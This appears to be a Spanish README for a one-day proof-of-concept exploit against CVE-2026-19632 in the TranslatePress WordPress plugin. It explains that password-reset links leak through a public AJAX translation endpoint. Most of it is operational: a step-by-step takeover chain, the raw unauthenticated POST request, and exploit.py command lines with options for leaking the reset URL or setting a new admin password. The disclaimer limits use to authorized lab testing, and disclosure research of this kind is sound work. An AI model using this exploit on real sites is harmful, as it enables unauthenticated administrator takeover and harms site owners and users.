
Prueba de concepto de un día para CVE-2026-19632, una toma de control de cuenta crítica sin autenticación en el plugin TranslatePress de WordPress, que demuestra la divulgación del enlace de restablecimiento de contraseña y la toma de control del administrador.
CVE: CVE-2026-19632 | CVSS: 9.8 (Crítico)
Toma de control de cuenta no autenticada a través del plugin TranslatePress para WordPress. Tiempo desde la publicación del CVE hasta un PoC funcional del Día Uno: 5 horas, 9 minutos, 40 segundos
Hasta la versión 3.3.1 inclusive; el problema se corrigió en la versión 3.3.2.
TranslatePress puede traducir los correos electrónicos salientes de WordPress y guardar sus cadenas traducidas en su base de datos.
TranslatePress también guarda los correos de restablecimiento de contraseña con el enlace de restablecimiento completo, incluida la clave secreta, directamente en la tabla de traducción.
Un atacante no autenticado puede consultar esas filas a través de una acción AJAX pública de TranslatePress:
Activar restablecimiento de contraseña
-> el correo de restablecimiento se traduce
-> la URL de restablecimiento se guarda en el diccionario del idioma secundario
-> el endpoint AJAX público devuelve la fila
-> usar la URL para establecer una nueva contraseña de administrador
La cadena de explotación requiere:
Cuando WordPress envía el correo de restablecimiento, TranslatePress cambia al idioma preferido del destinatario y pasa el correo a través de su canal de traducción. La versión vulnerable guarda las cadenas encontradas durante este proceso, incluida la URL de restablecimiento.
TranslatePress también registra trp_get_translations_regular para visitantes no autenticados. Su nonce está expuesto en una página traducida pública, y la solicitud acepta IDs de filas del diccionario seleccionados por el atacante. Enumerar esos IDs revela el correo de restablecimiento almacenado y su enlace de restablecimiento utilizable.
| Paso | Acción |
|---|---|
| 1 | Cargar /he/cve-lab-seed/ y extraer el nonce AJAX público de TranslatePress. |
| 2 | Enviar el formulario de contraseña perdida de WordPress para labadmin. |
| 3 | TranslatePress procesa el correo de restablecimiento usando la configuración regional hebrea del administrador. |
| 4 | Enumerar las filas del diccionario a través de trp_get_translations_regular. |
| 5 | Extraer la URL de restablecimiento wp-login.php?action=rp coincidente más reciente. |
| 6 | Abrir la URL y enviar una nueva contraseña. |
| 7 | Realizar un nuevo inicio de sesión que requiera tanto una cookie de inicio de sesión de WordPress como acceso a /wp-admin/. |
La solicitud no autenticada relevante tiene esta forma:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
El nonce y el ID de fila útil son dinámicos, por lo que exploit.py los descubre en lugar de codificarlos.
Uso mínimo:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
Filtrar la URL de restablecimiento sin cambiar la contraseña:
python .\exploit.py --stop-after leak
Activar solo el correo de restablecimiento de contraseña:
python .\exploit.py --stop-after reset
| Parámetro | Valor predeterminado | Propósito |
|---|---|---|
--url | http://127.0.0.1:19632 | URL base de WordPress. |
--username | labadmin | Cuenta para la que se solicita el restablecimiento. |
--language | he_IL | Diccionario del idioma secundario consultado por el PoC. |
--public-path | /he/cve-lab-seed/ | Página traducida pública utilizada para obtener el nonce AJAX. |
--new-password | Ninguno | Nueva contraseña; requerida cuando se usa --stop-after takeover. |
--start-id | 1 | Primer ID de fila del diccionario a solicitar. |
--max-id | 500 | Último ID de fila del diccionario a solicitar. Auméntelo si no se encuentra ninguna URL de restablecimiento. |
--batch-size | 100 | IDs del diccionario solicitados por llamada AJAX. Rango válido: 1-500. |
--timeout | 15 | Tiempo de espera HTTP en segundos. |
--settle-seconds | 1 | Retraso después de solicitar el correo de restablecimiento. |
--stop-after | takeover | Detenerse después de reset, leak o la takeover completa. |
Este proyecto está destinado únicamente a investigación de seguridad autorizada, educación y pruebas en entornos de laboratorio aislados.
Esta vulnerabilidad fue descubierta y divulgada originalmente por momopon1415.
No utilice este software contra sistemas, redes o datos sin autorización explícita del propietario. Usted es el único responsable de cumplir con todas las leyes aplicables y de cualquier consecuencia derivada del uso de este proyecto.
El autor, YonLiud, proporciona este proyecto "tal cual", sin garantías de ningún tipo, y no acepta responsabilidad por daños, pérdida de datos, interrupción del servicio, acceso no autorizado u otro uso indebido causado por este software o trabajos derivados.
Al usar este proyecto, usted reconoce y acepta estas condiciones.